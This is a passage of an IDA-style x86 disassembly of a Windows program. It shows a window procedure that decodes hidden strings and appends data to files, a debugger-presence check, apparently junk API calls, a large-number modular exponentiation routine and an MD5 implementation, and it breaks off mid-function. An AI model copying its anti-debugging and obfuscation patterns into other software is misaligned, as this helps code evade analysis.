		movzx	esi, [ebp+var_101]
		cmp	esi, eax
		jb	loc_40B911
		jmp	short loc_40BA1F
; ---------------------------------------------------------------------------

loc_40B9B8:				; CODE XREF: sub_40B3E8+49Aj
					; sub_40B3E8+4C7j ...
		mov	eax, dword_43C094
		add	eax, 7CBh
		push	eax
		call	sub_40CBD8
		call	sub_40C740	; GetCurrentThreadId
		push	35h
		push	offset byte_446AD1
		call	sub_40129C
		mov	[ebp+var_238], eax
		push	13h
		push	offset byte_446ABD
		call	sub_40129C
		add	esp, 14h
		push	0
		push	eax
		mov	edi, [ebp+var_238]
		push	edi
		push	0
		call	sub_40CA10	; MessageBoxA
		call	sub_40C7C4	; GetTickCount
		push	ds:dword_41E8BC
		call	sub_40C9D4	; SetFocus
		mov	eax, dword_446AA2
		mov	[ebp+var_121], eax
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40BA1F:				; CODE XREF: sub_40B3E8+5CEj
		push	5
		push	offset dword_446B2C
		call	sub_40129C
		lea	edi, [ebp+var_100]
		push	edi
		lea	edi, [ebp+var_22F]
		push	edi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		call	sub_40C734	; GetCurrentProcessId
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_41FA00
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_110], eax
		lea	edi, [ebp+var_124]
		lea	esi, word_446AA6
		mov	ecx, 3
		rep movsb
		push	2
		push	0
		push	0
		push	[ebp+var_110]
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C7C4	; GetTickCount
		lea	ecx, [ebp+var_22F]
		or	eax, 0FFFFFFFFh

loc_40BA9F:				; CODE XREF: sub_40B3E8+6BCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40BA9F
		push	0
		lea	esi, [ebp+var_234]
		push	esi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		mov	[ebp+var_103], 87h
		movzx	eax, [ebp+var_103]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_103], al
		push	2
		push	offset asc_446ABA ; ""
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_234]
		push	edi
		mov	edi, 14h
		sub	edi, dword_43C098
		push	edi
		push	eax
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		mov	ax, word_446AA9
		mov	[ebp+var_126], ax
		push	[ebp+var_110]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId
		push	ds:dword_41FB04
		call	sub_40CAC4	; DestroyWindow
		call	sub_40C854	; IsDebuggerPresent
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40F1E0
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_110], eax
		push	2
		push	0
		push	0
		push	[ebp+var_110]
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C7D0	; GetVersion
		lea	ecx, byte_433FE0
		or	eax, 0FFFFFFFFh

loc_40BB77:				; CODE XREF: sub_40B3E8+794j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40BB77
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_234]
		push	esi
		push	edi
		push	offset byte_433FE0
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		lea	edi, [ebp+var_12B]
		lea	esi, byte_446AAB
		mov	ecx, 5
		rep movsb
		push	1
		push	offset asc_446AB8 ; ""
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_234]
		push	edi
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		push	[ebp+var_110]
		call	sub_40C944	; WriteFile
		push	[ebp+var_110]
		call	sub_40C7AC	; CloseHandle
		push	5
		push	ds:dword_41D89C
		call	sub_40CAAC	; ShowWindow
		lea	edi, [ebp+var_130]
		lea	esi, aV@zc	; "v@zc"
		mov	ecx, 5
		rep movsb
		jmp	short loc_40BC22
; ---------------------------------------------------------------------------

loc_40BC0A:				; CODE XREF: sub_40B3E8+2Bj
					; sub_40B3E8+47j ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CADC	; DefWindowProcA
		jmp	short loc_40BC22
; ---------------------------------------------------------------------------
		call	sub_40C7C4	; GetTickCount

loc_40BC22:				; CODE XREF: sub_40B3E8+19Aj
					; sub_40B3E8+1E1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B3E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC2C	proc near		; CODE XREF: sub_406D2E+32p
					; sub_406D2E+42p
		jmp	ds:dword_448340
sub_40BC2C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC38	proc near		; CODE XREF: sub_40523D+D4p
		jmp	ds:dword_44834C
sub_40BC38	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC44	proc near		; CODE XREF: sub_40523D+161p
		jmp	ds:dword_448350
sub_40BC44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC50	proc near		; CODE XREF: sub_40696D+5Fp
		jmp	ds:dword_44835C
sub_40BC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC5C	proc near		; CODE XREF: sub_40696D+39p
		jmp	ds:dword_448360
sub_40BC5C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC68	proc near		; CODE XREF: sub_40696D+26p
		jmp	ds:dword_448364
sub_40BC68	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BC74	proc near		; CODE XREF: sub_406911+52p
		jmp	ds:dword_448368
sub_40BC74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC80	proc near		; CODE XREF: sub_408741+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_447B7C
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_40BD4B
		xor	edx, edx

loc_40BCB0:				; CODE XREF: sub_40BC80+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_40BCC2
		mov	edx, [ebp+arg_4]
		call	sub_40BCDC

loc_40BCC2:				; CODE XREF: sub_40BC80+38j
		lea	edx, dword_447B7C
		call	sub_40BCDC
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_40BCB0
		popa
		pop	ebp
		retn	10h
sub_40BC80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BCDC	proc near		; CODE XREF: sub_40BC80+3Dp
					; sub_40BC80+48p
		lea	edi, dword_447B3C
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_447B7C
		call	sub_40BD4B

loc_40BCF6:				; CODE XREF: sub_40BCDC+5Dj
		lea	edi, dword_447B3C
		mov	ecx, 10h
		xor	eax, eax

loc_40BD03:				; CODE XREF: sub_40BCDC+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_40BD03
		call	sub_40BD5C
		bt	dword_447B7C, ebx
		jnb	short loc_40BD38
		mov	esi, edx
		lea	edi, dword_447B3C
		xor	eax, eax
		mov	ecx, 10h

loc_40BD27:				; CODE XREF: sub_40BCDC+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BD27
		call	sub_40BD5C

loc_40BD38:				; CODE XREF: sub_40BCDC+3Aj
		dec	ebx
		jns	short loc_40BCF6
		mov	edi, edx
		lea	esi, dword_447B3C
		mov	ecx, 10h
		rep movsd
		retn
sub_40BCDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD4B	proc near		; CODE XREF: sub_40BC80+29p
					; sub_40BCDC+15p
		mov	ebx, 1FFh

loc_40BD50:				; CODE XREF: sub_40BD4B+Bj
		bt	[edi], ebx
		jb	short locret_40BD58
		dec	ebx
		jnz	short loc_40BD50

locret_40BD58:				; CODE XREF: sub_40BD4B+8j
		retn
sub_40BD4B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BD5C	proc near		; CODE XREF: sub_40BCDC+2Ep
					; sub_40BCDC+57p
		lea	esi, dword_447B3C
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh

loc_40BD6A:				; CODE XREF: sub_40BD5C+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_40BD93
		ja	short loc_40BD77
		dec	ecx
		jns	short loc_40BD6A

loc_40BD77:				; CODE XREF: sub_40BD5C+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_447B3C
		xor	eax, eax
		mov	ecx, 10h

loc_40BD87:				; CODE XREF: sub_40BD5C+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BD87

locret_40BD93:				; CODE XREF: sub_40BD5C+14j
		retn
sub_40BD5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD94	proc near		; CODE XREF: sub_40BDE5+32p
					; sub_40BDE5+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_40BD94	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDA1	proc near		; CODE XREF: sub_40BDE5+219p
					; sub_40BDE5+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_40BDA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDAE	proc near		; CODE XREF: sub_40BDE5+420p
					; sub_40BDE5+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_40BDAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDB5	proc near		; CODE XREF: sub_40BDE5+627p
					; sub_40BDE5+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_40BDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDBE	proc near		; CODE XREF: sub_408779+A8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_40BDBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDE5	proc near		; CODE XREF: sub_408779+C5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_447BBC, eax
		mov	eax, [edi+4]
		mov	dword_447BC0, eax
		mov	eax, [edi+8]
		mov	dword_447BC4, eax
		mov	eax, [edi+0Ch]
		mov	dword_447BC8, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_447BBC
		add	[edi], eax
		mov	eax, dword_447BC0
		add	[edi+4], eax
		mov	eax, dword_447BC4
		add	[edi+8], eax
		mov	eax, dword_447BC8
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_40BDE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C630	proc near		; CODE XREF: sub_4098A8+1010p

var_1C		= dword	ptr -1Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		fnstcw	[ebp+var_2]
